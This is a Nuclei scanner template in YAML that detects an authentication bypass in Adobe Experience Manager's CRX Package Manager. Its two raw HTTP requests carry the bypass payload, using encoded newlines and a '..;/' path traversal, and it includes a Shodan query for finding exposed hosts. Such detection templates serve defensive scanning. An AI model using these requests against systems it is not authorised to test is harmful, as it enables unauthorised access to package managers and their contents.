51 lines
1.9 KiB
YAML
51 lines
1.9 KiB
YAML
id: aem-crx-bypass
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info:
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name: AEM Package Manager - Authentication Bypass
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author: dhiyaneshDK
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severity: critical
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description: Adobe Experience Manager Package Manager is susceptible to a hard to exploit authentication bypass issue. This issue only potentially impacts AEM on-premise or AEM as a Managed Service if default security configurations are removed.
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remediation: "Adobe recommends AEM customers review access controls for the CRX package manager path: /etc/packages."
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reference:
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- https://labs.detectify.com/2021/06/28/aem-crx-bypass-0day-control-over-some-enterprise-aem-crx-package-manager/
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classification:
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cpe: cpe:2.3:a:adobe:experience_manager:*:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: adobe
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product: experience_manager
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shodan-query: http.component:"Adobe Experience Manager"
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tags: aem,adobe,misconfig
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http:
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- raw:
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- |
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GET /crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1
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Host: {{Hostname}}
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Referer: {{BaseURL}}
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Accept-Encoding: gzip, deflate
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- |
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GET /content/..;/crx/packmgr/list.jsp;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0a;%0aa.css?_dc=1615863080856&_charset_=utf-8&includeVersions=true HTTP/1.1
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Host: {{Hostname}}
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Referer: {{BaseURL}}
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Accept-Encoding: gzip, deflate
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- 'buildCount'
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- 'downloadName'
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- 'acHandling'
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condition: and
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- type: word
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part: header
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words:
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- 'application/json'
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022059692cee0f0f68e3ffb8761b2696aa4145170f05bbb6a90bb6e5208a3bbdfb41022100a4baced99da62743ddad64553d56b6e14b7963791e3a50c067764c0f23568526:922c64590222798bb761d5b6d8e72950 |